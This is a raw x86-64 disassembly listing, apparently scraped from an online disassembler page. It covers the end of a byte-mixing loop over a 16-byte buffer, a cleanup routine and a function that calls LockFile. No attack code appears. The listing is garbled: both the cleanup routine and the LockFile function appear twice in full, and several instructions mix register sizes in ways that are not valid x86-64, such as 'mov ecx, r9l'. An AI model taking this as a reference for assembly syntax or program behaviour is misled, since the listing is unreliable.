004453fblea rcx, [rcx+4]
004453ffmov rdx, [rbp+96]
00445403movzx rdx, [rdx+r10]
00445408xor [rcx], dl
0044540amov rcx, [rbp+112]
0044540elea rcx, [rcx+5]
00445412mov rdx, [rbp+96]
00445416movzx rdx, [rdx+r10]
0044541badd [rcx], dl
0044541dmov rcx, [rbp+112]
00445421lea rcx, [rcx+6]
00445425mov rdx, [rbp+96]
00445429movzx rdx, [rdx+r10]
0044542esub [rcx], dl
00445430mov rcx, [rbp+96]
00445434movzx rcx, [rcx+r10]
00445439mov rdx, [rbp+112]
0044543dcmp cl, [rdx+7]
00445440jbe 0x445449
00445442mov rdx, [rbp+112]
00445446mov [rdx+7], cl
00445449
00445449loc_445449:
00445449mov rcx, [rbp+96]
0044544dmovzx r9, [rcx+r10]
00445452mov ecx, r9l
00445455mov edx, r9l
00445458mov r8l, r9l
0044545bjmp 0x445515
00445460
00445460loc_445460:
00445460mov r11, [rbp+112]
00445464lea r11, [r11+8]
00445468mov rsi, [rbp+96]
0044546cmovzx rsi, [rsi+r10]
00445471xor [r11], sil
00445474mov r11, [rbp+112]
00445478lea r11, [r11+9]
0044547cmov rsi, [rbp+96]
00445480movzx rsi, [rsi+r10]
00445485add [r11], sil
00445488mov r11, [rbp+112]
0044548clea r11, [r11+10]
00445490mov rsi, [rbp+96]
00445494movzx rsi, [rsi+r10]
00445499sub [r11], sil
0044549cmov r11, [rbp+96]
004454a0movzx r11, [r11+r10]
004454a5mov rsi, [rbp+112]
004454a9cmp r11b, [rsi+11]
004454adjbe 0x4454b7
004454afmov rsi, [rbp+112]
004454b3mov [rsi+11], r11b
004454b7
004454b7loc_4454b7:
004454b7mov r11, [rbp+112]
004454bblea r11, [r11+12]
004454bfmov rsi, [rbp+96]
004454c3mov edi, ecx
004454c6and dil, [rsi+r10]
004454caxor [r11], dil
004454cdmov r11, [rbp+112]
004454d1lea r11, [r11+13]
004454d5mov rsi, [rbp+96]
004454d9mov edi, edx
004454dcor dil, [rsi+r10]
004454e0xor [r11], dil
004454e3mov r11, [rbp+112]
004454e7lea r11, [r11+14]
004454ebmov rsi, [rbp+96]
004454efmov edi, r8l
004454f2add dil, [rsi+r10]
004454f6xor [r11], dil
004454f9mov r11, [rbp+96]
004454fdmovzx r10, [r11+r10]
00445502cmp r10b, r9b
00445505jbe 0x44550a
00445507mov r9l, r10l
0044550a
0044550aloc_44550a:
0044550amov r10, [rbp+112]
0044550elea r10, [r10+15]
00445512xor [r10], r9b
00445515
00445515loc_445515:
00445515add eax, 1
00445518sub ebx, 1
0044551btest ebx, ebx
0044551djne 0x445384
00445523
00445523loc_445523:
00445523nop
00445524nop
00445525lea rcx, [rbp+96]
00445529mov rdx, [rip-0x16710]
00445530call fn_410600
00445535lea rcx, [rbp+112]
00445539mov rdx, [rip-0x16720]
00445540call fn_410600
00445545lea rsp, [rbp+56]
00445549pop rbx
0044554apop rsi
0044554bpop rdi
0044554cpop rbp
0044554dret
00445320
0044554e
0044554e 48 90 H.
0044554e 48 90 H.
00445550
00445550fn_445550:
00445550push rbp
00445551push rbx
00445552sub rsp, 40
00445556mov rbp, rsp
00445559mov rbx, rdx
0044555clea rcx, [rbx+96]
00445560mov rdx, [rip-0x16747]
00445567call fn_410600
0044556clea rcx, [rbx+112]
00445570mov rdx, [rip-0x16757]
00445577call fn_410600
0044557clea rsp, [rbp+40]
00445580pop rbx
00445581pop rbp
00445582ret
00445550
00445550fn_445550:
00445550push rbp
00445551push rbx
00445552sub rsp, 40
00445556mov rbp, rsp
00445559mov rbx, rdx
0044555clea rcx, [rbx+96]
00445560mov rdx, [rip-0x16747]
00445567call fn_410600
0044556clea rcx, [rbx+112]
00445570mov rdx, [rip-0x16757]
00445577call fn_410600
0044557clea rsp, [rbp+40]
00445580pop rbx
00445581pop rbp
00445582ret
00445550
00445583
00445583 // align 0x10
00445583 // align 0x10
00445590
00445590fn_445590:
00445590push rbp
00445591push rbx
00445592sub rsp, 120
00445596mov rbp, rsp
00445599mov [rbp+56], rcx
0044559dmov [rbp+64], rdx
004455a1mov [rbp+104], 0
004455a9mov [rbp+96], 0
004455b1mov [rbp+88], 0
004455b9nop
004455balea rcx, [rbp+104]
004455bemov rdx, [rbp+64]
004455c2call fn_42f5e0
004455c7lea rcx, [rbp+104]
004455cblea rdx, [rbp+88]
004455cfxor r8, r8
004455d2mov r9l, 4
004455d8call fn_430a50
004455ddlea rcx, [rbp+104]
004455e1lea rdx, [rbp+96]
004455e5mov r8l, 4
004455ebmov r9l, 4
004455f1call fn_430a50
004455f6lea rcx, [rbp+96]
004455facall fn_430a00
004455ffmov ebx, eax
00445601lea rcx, [rbp+88]
00445605call fn_430a00
0044560amov rcx, [rbp+56]
0044560exor edx, edx
00445610xor r8, r8
00445613mov r9l, ebx
00445616mov [rsp+32], eax
0044561acall LockFile
0044561ftest eax, eax
00445621setne al
00445624mov [rbp+79], al
00445627nop
00445628lea rcx, [rbp+88]
0044562cmov rdx, [rip-0x16813]
00445633mov r8l, 3
00445639call fn_40ec40
0044563emovzx rax, [rbp+79]
00445643lea rsp, [rbp+120]
00445647pop rbx
00445648pop rbp
00445649ret
00445590
00445590fn_445590:
00445590push rbp
00445591push rbx
00445592sub rsp, 120
00445596mov rbp, rsp
00445599mov [rbp+56], rcx
0044559dmov [rbp+64], rdx
004455a1mov [rbp+104], 0
004455a9mov [rbp+96], 0
004455b1mov [rbp+88], 0
004455b9nop
004455balea rcx, [rbp+104]
004455bemov rdx, [rbp+64]
004455c2call fn_42f5e0
004455c7lea rcx, [rbp+104]
004455cblea rdx, [rbp+88]
004455cfxor r8, r8
004455d2mov r9l, 4
004455d8call fn_430a50
004455ddlea rcx, [rbp+104]
004455e1lea rdx, [rbp+96]
004455e5mov r8l, 4
004455ebmov r9l, 4
004455f1call fn_430a50
004455f6lea rcx, [rbp+96]
004455facall fn_430a00
004455ffmov ebx, eax
00445601lea rcx, [rbp+88]
00445605call fn_430a00
0044560amov rcx, [rbp+56]
0044560exor edx, edx
00445610xor r8, r8
00445613mov r9l, ebx
00445616mov [rsp+32], eax
0044561acall LockFile
0044561ftest eax, eax
00445621setne al
00445624mov [rbp+79], al
00445627nop
00445628lea rcx, [rbp+88]
0044562cmov rdx, [rip-0x16813]
00445633mov r8l, 3
00445639call fn_40ec40
0044563emovzx rax, [rbp+79]
00445643lea rsp, [rbp+120]
00445647pop rbx
00445648pop rbp
00445649ret
00445590
Loading..